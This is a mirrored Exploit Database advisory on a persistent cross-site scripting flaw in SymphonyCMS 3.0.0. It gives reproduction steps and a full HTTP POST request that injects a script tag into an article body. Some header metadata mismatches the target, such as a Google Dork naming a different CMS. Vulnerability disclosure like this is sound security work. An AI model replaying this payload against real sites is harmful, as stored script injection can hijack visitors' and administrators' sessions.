SymphonyCMS 3.0.0 – Persistent Cross-Site Scripting

• Exploit Database
• 36 阅读

• 作者： SunCSR
  日期： 2020-08-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48773/

• # Exploit Title: SymphonyCMS 3.0.0 - Persistent Cross-Site Scripting
  # Google Dork: "lepton cms"
  # Date: 2020-08-28
  # Exploit Author: SunCSR (Sun* Cyber Security Research)
  # Vendor Homepage: https://www.getsymphony.com/
  # Software Link: https://www.getsymphony.com/
  # Version: 3.0.0
  # Tested on: Windows
  # CVE : N/A
  
  Description:
  Cross-site scripting (XSS) vulnerabilities in Symphony CMS 3.0.0 allow remote attackers to inject arbitrary web script or HTML
  
  To Reproduce:
  Steps to reproduce the behavior:
  
  1. Login as member
  2. Go to 'Articles'
  3. Submit malicious content
  4. Anyone (inclued admin) view article and XSS excuted
  
  Expected behavior
  When admin or user view content, a pop-up will be displayed
  
  Affected componets:
  events\event.publish_article.php in Symphony CMS 3.0.0 allows XSS via fields['body'] to appendSubheading
  
  POC:
  
  POST /symphonycms/symphony/publish/articles/new/ HTTP/1.1
  Host: target
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
  Accept-Encoding: gzip, deflate
  Referer: http://target/symphonycms/symphony/publish/articles/new/
  Content-Type: multipart/form-data; boundary=---------------------------17679481844164416353626544932
  Content-Length: 1111
  Origin: http://target
  Connection: close
  Cookie: PHPSESSID=b21qllug0g7ft80ueo3bn0bgcd;
  Upgrade-Insecure-Requests: 1
  
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="xsrf"
  
  vr-i2mWs18DPjVmZ8z2nB-Gb3hdyrb
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="MAX_FILE_SIZE"
  
  5242880
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="fields[title]"
  
  TEST XSS
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="fields[body]"
  
  <script>alert('XSS')</script>
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="fields[date]"
  
  08/28/2020 5:55 am
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="fields[categories][]"
  
  2
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="fields[publish]"
  
  yes
  -----------------------------17679481844164416353626544932
  Content-Disposition: form-data; name="action[save]"
  
  Create Entry
  -----------------------------17679481844164416353626544932--
  
  Desktop (please complete the following information):
  OS: Windows 10
  Browser: Firefox or Chrome
  Application: XAMPP, Burpsuite
  
  Additional context
  Tested on: 9.03.50 verison
  POC at: https://vimeo.com/405740251